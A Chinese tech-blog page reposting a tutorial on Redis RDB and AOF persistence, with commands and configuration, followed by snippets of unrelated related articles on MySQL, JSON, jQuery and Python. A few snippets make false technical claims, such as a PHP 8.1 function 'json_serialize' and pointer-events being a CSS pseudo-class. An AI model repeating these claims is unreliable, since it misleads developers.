被修改(包括添加) save 300 10 400 秒内至少有 10 个 key 被修改save 60 10000 60 秒内至少有 10000 个 key 被修改 注意上面的配置是不冲突的,只要满足任意一个都会触发。 RDB 文件位置和目录: 文件路径,dir ./ 文件名称dbfilename dump.rdb 是否是LZF压缩rdb文件 rdbcompression yes 开启数据校验 rdbchecksum yes 问题:为什么停止 Redis 服务的时候没有 save,重启数据还在? RDB 还有两种触发方式: b)shutdown 触发,保证服务器正常关闭。 c)flushall,RDB 文件是空的,没什么意义(删掉 dump.rdb 演示一下)。 2、手动触发 如果我们需要重启服务或者迁移数据,这个时候就需要手动触 RDB 快照保存。Redis 提供了两条命令: a)save save 在生成快照的时候会阻塞当前 Redis 服务器, Redis 不能处理其他命令。如果内存中的数据比较多,会造成 Redis 长时间的阻塞。生产环境不建议使用这个命令。 为了解决这个问题,Redis 提供了第二种方式。 执行 bgsave 时,Redis 会在后台异步进行快照操作,快照同时还可以响应客户端请求。 具体操作是 Redis 进程执行 fork 操作创建子进程(copy-on-write),RDB 持久化过程由子进程负责,完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在 fork 阶段,一般时间很短。 用 lastsave 命令可以查看最近一次成功生成快照的时间。 6.1.2 RDB 数据的恢复(演示) 1、shutdown 持久化添加键值 添加键值 redis> set k1 1 redis> set k2 2 redis> set k3 3 redis> set k4 4 redis> set k5 5 停服务器,触发 save redis> shutdown 备份 dump.rdb 文件 cp dump.rdb dump.rdb.bak 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 啥都没有: redis> keys 3、通过备份文件恢复数据停服务器 redis> shutdown 重命名备份文件 mv dump.rdb.bak dump.rdb 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 查看数据 redis> keys 6.1.3 RDB 文件的优势和劣势 一、优势 1.RDB 是一个非常紧凑(compact)的文件,它保存了 redis 在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。 2.生成 RDB 文件的时候,redis 主进程会 fork()一个子进程来处理所有保存工作,主进程不需要进行任何磁盘 IO 操作。 3.RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。 二、劣势 1、RDB 方式数据没办法做到实时持久化/秒级持久化。因为 bgsave 每次运行都要执行 fork 操作创建子进程,频繁执行成本过高。 2、在一定间隔时间做一次备份,所以如果 redis 意外 down 掉的话,就会丢失最后一次快照之后的所有修改(数据有丢失)。 如果数据相对来说比较重要,希望将损失降到最小,则可以使用 AOF 方式进行持久化。 6.2 AOF Append Only File AOF:Redis 默认不开启。AOF 采用日志的形式来记录每个写操作,并追加到文件中。开启后,执行更改 Redis 数据的命令时,就会把命令写入到 AOF 文件中。 Redis 重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。 6.2.1 AOF 配置 配置文件 redis.conf 开关appendonly no 文件名appendfilename "appendonly.aof" AOF 文件的内容(vim 查看): 问题:数据都是实时持久化到磁盘吗? 由于操作系统的缓存机制,AOF 数据并没有真正地写入硬盘,而是进入了系统的硬盘缓存。什么时候把缓冲区的内容写入到 AOF 文件? 问题:文件越来越大,怎么办? 由于 AOF 持久化是 Redis 不断将写命令记录到 AOF 文件中,随着 Redis 不断的进行,AOF 的文件会越来越大,文件越大,占用服务器内存越大以及 AOF 恢复要求时间越长。 例如 set xxx 666,执行 1000 次,结果都是 xxx=666。 为了解决这个问题,Redis 新增了重写机制,当 AOF 文件的大小超过所设定的阈值时,Redis 就会启动 AOF 文件的内容压缩,只保留可以恢复数据的最小指令集。 可以使用命令 bgrewriteaof 来重写。 AOF 文件重写并不是对原文件进行重新整理,而是直接读取服务器现有的键值对,然后用一条命令去代替之前记录这个键值对的多条命令,生成一个新的文件后去替换原来的 AOF 文件。 重写触发机制 auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb 问题:重写过程中,AOF 文件被更改了怎么办? 另外有两个与 AOF 相关的参数: 6.2.2 AOF 数据恢复 重启 Redis 之后就会进行 AOF 文件的恢复。 6.2.3 AOF 优势与劣势 优点: 1、AOF 持久化的方法提供了多种的同步频率,即使使用默认的同步频率每秒同步一次,Redis 最多也就丢失 1 秒的数据而已。 缺点: 1、对于具有相同数据的的 Redis,AOF 文件通常会比 RDB 文件体积更大(RDB 存的是数据快照)。 2、虽然 AOF 提供了多种同步的频率,默认情况下,每秒同步一次的频率也具有较高的性能。在高并发的情况下,RDB 比 AOF 具好更好的性能保证。 6.3 两种方案比较 那么对于 AOF 和 RDB 两种持久化方式,我们应该如何选择呢? 如果可以忍受一小段时间内数据的丢失,毫无疑问使用 RDB 是最好的,定时生成 RDB 快照(snapshot)非常便于进行数据库备份, 并且 RDB 恢复数据集的速度也要比 AOF 恢复的速度要快。 否则就使用 AOF 重写。但是一般情况下建议不要单独使用某一种持久化机制,而是应该两种一起用,在这种情况下,当 redis 重启的时候会优先载入 AOF 文件来恢复原始的数据,因为在通常情况下 AOF 文件保存的数据集要比 RDB 文件保存的数据集要完整。 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhoutaochun/article/details/120075092。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-18 12:25:04
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MySQL
...据,用户可通过SQL语言实现对数据库的各种操作,如新建、查询、更新和删除数据等。MySQL因其稳定、高效、可扩展性强以及支持多种操作系统平台而被广泛应用于网站开发、企业级应用系统以及各种需要持久化存储数据的应用场景。 关系型数据库管理系统(RDBMS) , 关系型数据库管理系统是一种建立在关系模型基础上的软件系统,它能通过表格、列和行的形式来组织、存储和管理数据,并利用SQL(Structured Query Language)语句进行数据操作。在文章中,MySQL即是一个典型的关系型数据库管理系统,通过它可以创建多个相互关联的数据库,确保数据的一致性和完整性。 SQL , SQL(Structured Query Language)是一种标准化的编程语言,用于管理和处理关系型数据库中的数据。在本文所描述的MySQL环境中,用户使用SQL命令来与数据库交互,例如“CREATE DATABASE”用于创建新的数据库,“SHOW DATABASES”则用于查看所有已存在的数据库列表。SQL语言不仅包括数据定义语言(DDL,如创建表或数据库),还包括数据操作语言(DML,如插入、更新和删除记录)以及数据查询语言(DQL,如SELECT语句)。
2023-08-12 18:53:34
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码农
JSON
...、Java等多种编程语言中被广泛应用。例如,在Node.js环境中,JSON与JavaScript无缝对接,极大地简化了数据处理流程。 近期,PHP社区发布了新版本PHP 8.1,对JSON支持进行了进一步优化,引入了新的函数json_serialize以增强序列化功能,并改进了json_decode错误处理机制,使开发者能够更准确地捕获并解决JSON解析问题。同时,PHP官方文档也提供了更多关于如何安全、高效地处理JSON数据的最佳实践指南。 此外,随着RESTful API设计规范的推广,JSON Schema作为一种用于描述JSON数据结构的标准格式,正在逐步成为主流。它允许开发者为JSON数据定义严格的模式约束,从而确保在数据传输过程中满足预设规则,减少因数据格式错误导致的问题。 因此,对于PHP开发者而言,除了掌握基础的JSON编码解码操作之外,了解并紧跟相关领域的最新动态和技术发展,如PHP 8.1对JSON处理的改进以及JSON Schema的应用,无疑将有助于提升开发效率和代码质量,更好地适应现代Web开发的需求。
2023-01-18 13:53:09
462
算法侠
MySQL
...策略在高并发场景下的应用。 综上所述,无论是紧跟MySQL最新技术动态,还是深化对数据库内部机制和性能优化的理解,都将为您的数据库管理工作带来显著提升。持续学习并实践这些进阶知识,能够帮助您更好地应对日益增长的数据管理和分析挑战。
2023-08-18 09:15:20
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算法侠
Java
...ECMA国际标准化的脚本语言规范,是JavaScript语言的基础。每年都会发布新的版本以引入新特性和改进现有功能。JavaScript就是对ECMAScript规范的一种实现,因此JavaScript语言的最新特性往往来源于ECMAScript标准的迭代更新。 AJAX技术 , Asynchronous JavaScript and XML(异步JavaScript和XML),简称AJAX,是一种创建动态网页应用的技术,允许网页在不重新加载整个页面的情况下与服务器交换数据并局部刷新页面内容。通过结合使用JavaScript、HTML、CSS以及 XMLHttpRequest 或 Fetch API 等技术,AJAX可以实现实时的数据交互和无刷新用户体验,极大地提升了Web应用程序的响应速度和用户体验。 单页面应用程序(SPA) , 单页面应用程序是一种Web应用模型,在这种模式下,用户在一个Web应用中浏览不同的内容和功能时,无需加载新的HTML页面文件,而是通过JavaScript、AJAX等技术动态地替换或修改当前页面的部分内容来展示新的视图。SPA能够提供接近原生应用般的流畅用户体验,因为它避免了传统多页面应用在页面跳转时的刷新延迟问题。 WebAssembly , WebAssembly(简称Wasm)是一种低级的类汇编语言,设计用于在Web环境中高效执行。它提供了可移植且高性能的代码模块,允许开发者使用C++、Rust等非JavaScript语言编写高性能代码,并将其编译成可以在所有现代Web浏览器上运行的格式。WebAssembly增强了JavaScript生态系统的性能表现,使得复杂计算、图形处理等原本受限于JavaScript性能的任务得以在Web平台上更高效地执行。
2024-01-04 09:43:00
350
电脑达人
CSS
... CSS是一种样式表语言,被广泛应用于网页设计以控制HTML或其他XML文档的呈现方式,如布局、颜色、字体等视觉表现。在本文语境中,CSS用于设置模态框的初始隐藏状态、定位、尺寸、背景色以及内容区域的样式属性,实现对模态框组件外观和行为的精细控制。 JavaScript , JavaScript是一种轻量级的解释型编程语言,常用于网页和网络应用客户端的脚本编写,为用户提供丰富的动态功能。在本文中,JavaScript与CSS配合使用,通过动态添加或移除CSS类(如.modal-show),来改变模态框的显示状态,即从隐藏变为显示,实现了响应用户操作的功能需求。
2023-09-25 10:35:23
468
数据库专家
JQuery
...等)文档的呈现方式的语言。在本文中,CSS被用来设置图片和放大区域的外观,如宽度、高度、边框和显示状态,以达到期望的视觉效果。 pointer-events: none; , 这是一个CSS伪类,用于控制元素对鼠标事件(如点击、移动)的响应。在放大区域的CSS样式中,设置为pointer-events: none;意味着该区域不会接收鼠标事件,因此鼠标移动时不会触发放大区域的位置变化,只会影响图片本身。 mouseover / mouseout事件 , 这两个是JavaScript中的鼠标事件,mouseover表示鼠标指针进入元素时触发,mouseout则表示鼠标指针离开元素时触发。在jQuery代码中,它们被用来控制放大区域的显示和隐藏,即当鼠标进入图片容器时显示放大区域,离开时隐藏。 background-position , CSS属性,用于设置背景图像的起始位置。在放大镜效果中,通过调整这个属性,可以精确地将放大区域的背景定位到鼠标移动的位置,从而实现动态放大效果。 DOM(Document Object Model) , 一种编程接口,用于HTML和XML文档的标准,它将文档结构表示为树形结构,方便JavaScript等脚本语言访问和操作。jQuery正是利用DOM模型来实现对网页元素的动态管理和交互效果。
2024-05-05 15:34:33
295
键盘勇士
JQuery
...avaScript等脚本语言动态访问和修改页面内容、样式及结构。在文章中,jQuery通过遍历和操作DOM来查找并获取新窗口中特定ID的元素内容。 AJAX(Asynchronous JavaScript and XML) , AJAX是一种创建快速动态网页的技术,通过在后台与服务器交换少量数据,无须重新加载整个网页就可实现网页的部分更新。虽然本文并未直接提及使用AJAX获取新窗口元素内容,但作为jQuery库的重要功能之一,AJAX体现了JavaScript库对于异步数据交互能力的支持,这对于现代Web应用来说至关重要。在实际应用场景中,AJAX常与jQuery配合使用,实现在不刷新页面的情况下加载或更新内容。
2023-12-31 09:38:03
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码农
MySQL
...数据库管理系统,广泛应用于网站和应用程序开发中,支持多种操作系统,提供SQL接口供用户查询、更新和管理数据。在本文语境下,MySQL是开发者需要导出其数据库结构及注释信息的主要操作对象。 mysqldump , mysqldump是MySQL自带的一个用于备份数据库的实用程序,它可以生成一个包含创建数据库表结构以及插入数据的SQL脚本文件。在文章中,mysqldump工具被用来执行导出MySQL数据库结构(包括注释)的操作,通过指定不同的参数可以控制是否包含数据或注释内容。 SQL结构 , SQL结构指的是使用SQL语言定义的数据库结构,它包括但不限于数据库、表、列、索引、视图等元素的定义以及它们之间的关系。在本文上下文中,SQL结构是指MySQL数据库中的表结构,包括表名、列名、数据类型、约束条件以及相关的注释信息,这些信息会被mysqldump命令以SQL语句的形式导出到一个文件中以便于迁移、备份或版本控制。 表结构注释 , 在MySQL数据库中,表结构注释是对表本身的一种描述性文本信息,可以通过特定的SQL语法添加至表定义中,为数据库使用者提供更多关于该表用途、字段含义等背景信息。在文章所讨论的场景中,表结构注释是希望在导出数据库结构时一并保留的重要内容,以方便其他开发者理解数据库设计意图和业务逻辑。 --skip-comments , 这是mysqldump工具的一个命令行选项,但在本文实际应用中应避免使用此选项,因为它的作用是跳过(忽略)在导出过程中遇到的所有注释信息。在文章给出的错误示例中,若要包含注释,则不应使用--skip-comments。
2023-03-21 16:29:33
108
电脑达人
JQuery
...Query是一款广泛应用于Web前端开发的开源JavaScript库,其设计目标是简化HTML文档遍历、事件处理、动画以及Ajax交互等操作。在本文中,JQuery通过提供便捷易用的API,如hide()、show()和toggle()函数,使得开发者能够高效地控制input元素的显示与隐藏状态。 DOM(Document Object Model) , DOM是浏览器为HTML和XML文档定义的一个编程接口,它将网页内容表示为树形结构,允许开发者通过JavaScript等脚本语言动态访问和修改页面的内容、结构和样式。在文章中提到的$(document).ready()函数就是在确保DOM完全加载后才执行相应的jQuery代码,以避免因DOM未准备好而无法找到或操作预期的元素。 JavaScript库 , JavaScript库是一系列预先编写的、可重用的JavaScript代码集合,它们通常封装了一些常用功能,旨在简化开发过程并提高开发效率。在本文语境下,JQuery即是一个JavaScript库,它提供了丰富的API,帮助开发者解决常见的Web前端问题,比如控制input元素的显示与隐藏,从而降低了直接使用原生JavaScript进行此类操作的复杂度。
2023-08-16 12:28:27
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键盘勇士
ReactJS
在深入学习和实践ReactJS中的动画和过渡效果后,你可能对Web开发的动态视觉体验有了更深的理解。为了帮助你紧跟行业前沿,这里推荐一些与之相关的延伸阅读材料: 近期,GitHub上一款名为Framer Motion的库备受关注,它是构建交互式UI动画的强大工具,专为React设计,提供了声明式的API,能够轻松实现复杂的过渡和动画效果。该库凭借其高性能和易用性,在开发者社区中积累了良好的口碑,值得进一步研究和尝试。 此外,随着Web组件化和现代化设计理念的发展,Google提出了Material Design动效指南,详细阐述了如何通过动画和过渡来提升用户体验,增强用户与界面之间的互动性。这份指南不仅理论扎实,还提供了丰富的实例演示,有助于开发者理解并应用到实际项目中。 另外,一篇发表在Smashing Magazine上的深度解析文章《Mastering Animations In React: A Modern Approach》也值得一看。作者深入探讨了React生态中各类动画库的优缺点,并结合具体案例分析如何根据应用场景选择合适的动画策略,对于想要深化React动画技术栈的开发者来说极具参考价值。 总的来说,持续关注动画和过渡效果在现代Web开发中的新趋势、新工具和技术分享,将有助于不断提升你的前端开发技能,打造出更富创意与表现力的网页应用。
2023-04-22 09:34:13
131
雪落无痕-t
Python
...跨平台开发是指软件或应用可以在多种操作系统平台上运行而无需重新编译或大幅度修改源代码。在本文中,Python作为一种跨平台开发语言,意味着开发者可以使用Python编写一次代码,并在包括Windows、Linux、Mac OS等不同操作系统上执行。 模块(Module) , 在Python编程环境中,模块是一个包含Python定义和语句的文件。它可以是内置模块,如Python标准库的一部分;也可以是用户自定义模块,如文中创建的test_module.py。模块的主要目的是为了更好地组织代码、实现功能复用以及减少命名冲突。通过import语句,程序员可以在一个Python脚本中导入另一个模块中的函数、类或其他对象。 第三方库 , 第三方库是指由非Python官方团队或个人开发,但可供所有Python开发者使用的预编译好的程序包或模块集合。这些库通常包含了丰富的功能,能够帮助开发者快速实现特定功能,比如数据处理、网络通信、图形界面构建等。在Python中,可以通过pip等包管理工具来安装和管理第三方库,然后在项目中通过import语句引入并使用库中的功能模块。虽然本文主要聚焦于导入本地自定义模块,但导入第三方库的原理与之相似。
2024-01-01 21:04:54
96
电脑达人
JQuery
...avaScript等脚本语言访问、修改、添加或删除HTML文档中的元素及其内容。在文中,JQuery通过封装易用的方法,极大地简化了对HTML DOM元素(如div块)的控制过程,如hide()方法可隐藏指定div元素,show()方法则让隐藏的div元素重新显示。 Ajax交互 , Asynchronous JavaScript and XML(异步JavaScript与XML),虽然名称包含XML,但实际应用中并不局限于XML数据格式,而是泛指利用JavaScript在后台与服务器进行异步数据交换的技术。在JQuery中,提供了简洁的Ajax API以方便开发者执行异步请求,尽管本文未直接涉及Ajax交互,但Ajax技术同样是JQuery库广泛应用于动态加载网页内容、无刷新更新页面状态的重要手段之一。 动态效果 , 在Web开发领域,动态效果通常指的是网页元素在用户交互或特定条件触发下发生的状态变化,如淡入淡出、滑动显示/隐藏、大小调整等视觉表现形式。文章中提到的JQuery库,能够帮助开发者轻松创建各种动态效果,如通过简单的几行代码即可实现在点击某个按钮时,切换div元素的显示与隐藏状态,这种即时反馈提升了用户的交互体验。
2023-01-31 18:25:30
375
软件工程师
转载文章
在探讨了C/C++语言实现的万年历显示系统的设计与功能后,我们可以进一步关注编程技术如何在日历应用中展现其强大和灵活性。近期,Google推出了开源项目Chronicle Calendar,它利用现代C++特性构建了一个高性能、可扩展的日历库,不仅能处理常规日期计算,还能应对复杂的农历转换及跨时区问题,为开发者提供了更加丰富和完善的时间处理工具。 此外,随着编程教育的普及,越来越多的学生通过实践项目如设计个人定制版万年历来深入理解编程逻辑和算法运用。例如,在2021年ACM国际大学生程序设计竞赛(ACM-ICPC)中,就有队伍采用C++设计出一款融合了节日提醒、黄历查询等多功能的日历应用,展现了当代大学生对编程技术的创新应用能力。 同时,追溯历史,古人在没有计算机的时代是如何制作和使用日历的也值得我们深思。古代中国发明的天干地支纪年法、二十四节气等都是人类智慧在时间管理上的体现,这些传统历法知识也可以启发我们在现代编程中探索更符合人文关怀、兼具实用与美观的日历设计方案。 综上所述,从前沿技术动态到编程教育实践,再到历史文化溯源,围绕日历系统的开发与设计,我们不仅能看到C/C++等编程语言在实际项目中的广泛应用,也能思考如何结合古今智慧,创造更人性化、智能化的时间管理工具。
2023-08-04 16:46:08
497
转载
VUE
...可以封装样式、模板、脚本等元素,通过组合不同的组件来构建复杂的单页应用。组件化设计不仅有利于代码复用和维护,还方便团队协作分工,提高项目整体结构清晰度和可扩展性。 ORM(对象关系映射) , ORM是一种编程技术,用于在面向对象语言中处理关系型数据库。在实际开发中,TypeORM或Sequelize等工具就实现了JavaScript与MySQL数据库之间的ORM功能。ORM的核心目标是将数据库中的表结构映射为程序中的类或对象,使得开发者可以通过操作对象的方式实现对数据库的操作,如插入、查询、更新和删除记录,从而简化数据库操作并增强代码的可读性和类型安全性。虽然文章未直接提到ORM,但它是现代Web开发中连接Vue.js与MySQL等数据库时常用的一种方法和技术。
2023-11-04 09:39:55
78
数据库专家
Python
...sk中表单提交功能的应用之后,我们可以进一步探索这一领域的新动态和实践案例。近期,Django 3.2版本的发布为Python Web开发带来了更强大的表单处理能力,其内置的Form类提供了全面的数据验证、清理和格式化机制,大大增强了数据安全性和应用稳健性。同时,随着API First理念的普及,RESTful架构设计下的表单提交也愈发重要,通过使用诸如Marshmallow这样的库,开发者可以在Python框架中实现更为灵活和规范的序列化与反序列化过程。 此外,针对Web应用的安全问题,OWASP(开放网络应用安全项目)定期发布的“十大Web应用安全风险”报告,其中就包括了“注入攻击”和“弱身份认证”等与表单提交密切相关的安全威胁。因此,在实际开发过程中,如何结合Python框架提供的功能对用户输入进行严格过滤和加密处理,以防止SQL注入、跨站脚本攻击等安全漏洞,成为了开发者必须关注和掌握的核心技能之一。 另外,对于数据持久化的优化, SQLAlchemy等ORM框架在处理表单提交后的数据存储上发挥了关键作用,它们不仅简化了数据库操作,还能通过声明式方式执行复杂的SQL查询,从而提高应用性能并降低出错率。 综上所述,Python框架中的表单提交功能及其相关技术在不断发展和完善,了解最新的框架特性、遵循最佳安全实践,并结合高效的ORM工具,将有助于我们构建出更加安全、稳定且用户体验良好的Web应用。
2023-10-31 17:23:22
283
码农
MySQL
...系统,可用于多种类型应用程序的信息管控,诸如WordPress、Drupal和Joomla等网页开发。MySQL依赖SQL语言来访问和管控数据,其默认端口为3306。 MySQL部署 MySQL可在Windows、Linux和macOS等系统平台上部署。在Windows上,可以通过MySQL官方网站的下载专区来下载MySQL的Windows部署程序。在Linux上,可以运行终端命令部署MySQL。于Mac OS中,可以运行包管理器来部署MySQL。 MySQL 3306端口设置 默认情况下,MySQL运行3306端口来访问数据库。如果需要设置MySQL的端口,可以通过修改MySQL设置文件my.cnf来实现。在my.cnf文件中,可以指定MySQL的服务端口、主机地址等设置信息。修改完成后,需要重新启动MySQL服务来使设置生效。 常见MySQL错误 在运行MySQL时,常见的错误包括连接失败、权限拒绝、数据库不存在等。这些错误通常可以通过查看MySQL的错误日志或运行终端命令来进行查找和解决。同时,也可以通过在MySQL中执行SQL语句来检查和修复数据表的错误。 MySQL备份和恢复 定期备份MySQL数据库是防止数据损坏、丢失的重要手段。可以运行MySQL自带的终端命令来进行备份和恢复,诸如通过mysqldump命令备份数据库,运行mysql命令进行恢复操作。备份数据时需要注意相关参数的设置,避免备份数据过大或内存资源不足等问题。 结语 MySQL在各类应用程序中广泛运行,掌握MySQL的运行和维护方法对于程序员和网站管控员都是必备技能。在运行MySQL时,需要注意数据安全、备份恢复等关键问题,以保障数据的完整性和可靠性。
2023-02-05 14:43:17
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程序媛
JSON
...件测试方法,通过编写脚本或使用特定工具,自动执行预定义的测试用例,验证被测软件的功能、性能和兼容性等特性。在本文中,自动化测试是软件开发过程中不可或缺的一部分,通过使用JSON数据进行自动化处理和验证,能够提高测试效率,缩短测试周期,并确保测试结果的一致性和可靠性。 JSON (JavaScript Object Notation) , JSON是一种轻量级的数据交换格式,采用完全独立于语言的文本格式来存储和传输数据,易于人阅读和编写,也易于机器解析和生成。在文中,JSON因其易用性与跨平台兼容性,广泛应用于自动化测试中,如模拟发送HTTP请求时携带的数据结构、接口返回的结果验证等场景。 持续集成(Continuous Integration, CI) , 持续集成是一种软件开发实践,在该实践中,开发团队频繁地将代码更改合并到共享主分支中,并通过自动化构建和测试来快速发现并修复问题。文章提到,完成编写的JSON自动化测试代码可以集成到持续集成工具中,实现每次代码提交后自动运行测试,从而及时发现潜在错误,保障软件质量及迭代速度。
2023-12-07 16:32:59
499
软件工程师
转载文章
...实际软件开发中的广泛应用以及最新趋势。简单工厂模式作为创建型设计模式之一,在简化对象实例化过程、隐藏具体实现细节以及支持扩展新的产品类型方面具有显著优势。 近期,在微服务架构中,简单工厂模式被用于实现依赖注入和策略模式,以提高代码的可测试性和灵活性。例如,Spring框架通过其强大的IoC容器就实现了类似简单工厂的角色,可以根据配置文件或注解动态地创建并管理对象。 此外,随着领域驱动设计(DDD)的流行,简单工厂模式在构建领域模型时也发挥了关键作用。在DDD领域模型中,简单工厂可以用来封装复杂对象的创建逻辑,确保业务规则得以正确执行,并保持领域模型的纯净与高内聚。 同时,结合Java 16及以上版本引入的Records特性,简单工厂模式在创建具有固定属性结构的对象时变得更加简洁高效。开发者可以通过定义Record类型来替代传统类,并利用简单工厂方法根据输入参数生成特定类型的Record实例。 综上所述,简单工厂模式不仅在基础编程实践中具有广泛的应用,而且在现代软件工程领域持续展现出与时俱进的生命力。不断关注设计模式在新技术环境下的应用与发展,将有助于我们更好地提升代码质量与开发效率。
2023-07-27 10:54:19
113
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转载文章
...Python编程中因脚本命名与库名称冲突导致的循环导入问题后,我们进一步探讨这一现象在软件开发中的普遍性和预防措施。近日,知名开发者社区Stack Overflow上就有一篇热议帖子,讨论了模块导入时的循环依赖问题,引来了众多程序员的深度分析和解决方案分享。 实际上,循环导入不仅限于Python,而是所有支持模块化编程的语言都需要面对的问题。例如,在Java、C等语言项目中,也需遵循良好的模块划分原则,避免类或包之间的直接或间接循环引用。软件工程最佳实践中,提倡通过重构代码结构,明确模块职责边界,以及合理使用延迟加载等技术手段来防止此类问题的发生。 此外,针对Python环境,可借助第三方工具如mypy进行类型检查,或者利用importlib库动态加载模块以降低循环导入的风险。近期发布的Python 3.9版本中,引入了一种新的语法特性—— postponed evaluation of annotations(PEP 563),它允许在导入阶段避免对某些模块进行完全初始化,从而有助于缓解循环导入带来的问题。 总之,无论是新手还是经验丰富的开发者,在编写程序时都应时刻警惕并规避循环导入问题,确保代码的健壮性和可维护性。深入理解模块化设计原则,结合实际应用场景灵活运用各种策略,是每个程序员提升编码质量的重要途径。同时,关注Python及其它编程语言的最新发展,及时了解并应用官方推荐的最佳实践方法,能够有效预防类似"AttributeError: partially initialized module"这样的问题出现。
2023-11-10 16:40:15
157
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Python
...n作为一种强大的编程语言,在AI领域被广泛应用,包括但不限于机器学习、深度学习、自然语言处理等方面,为构建智能算法和模型提供便捷高效的工具。 数据挖掘(Data Mining) , 数据挖掘是通过运用统计学、机器学习等方法从大量数据中抽取有价值的信息和知识的过程。在Python的学习与应用中,它扮演了重要角色,例如使用Pandas库进行数据清洗与预处理,利用Scikit-learn等库进行数据建模与分析,从而帮助用户发现数据背后的模式和规律。 网络开发(Web Development) , 网络开发指的是创建和维护网站或网络应用程序的一系列活动,包括前端设计、后端逻辑编写以及数据库管理等多个方面。Python在网络开发中的作用主要体现在其丰富的Web框架上,如Django和Flask,这些框架简化了开发者的工作流程,提供了快速搭建稳定高效网站的解决方案。 实际项目(Real-world Project) , 在本文中,“实际项目”指的是将Python编程知识应用于解决现实生活或工作场景中的具体问题的实践活动。比如,用Python开发一个数据分析项目、建立一个基于网络的应用程序或者编写自动化脚本来提升工作效率等。通过参与实际项目,学习者能够在实践中深化对Python的理解,并锻炼自身解决问题的能力。
2023-09-23 08:54:15
330
电脑达人
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实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
tar --list -f archive.tar.gz
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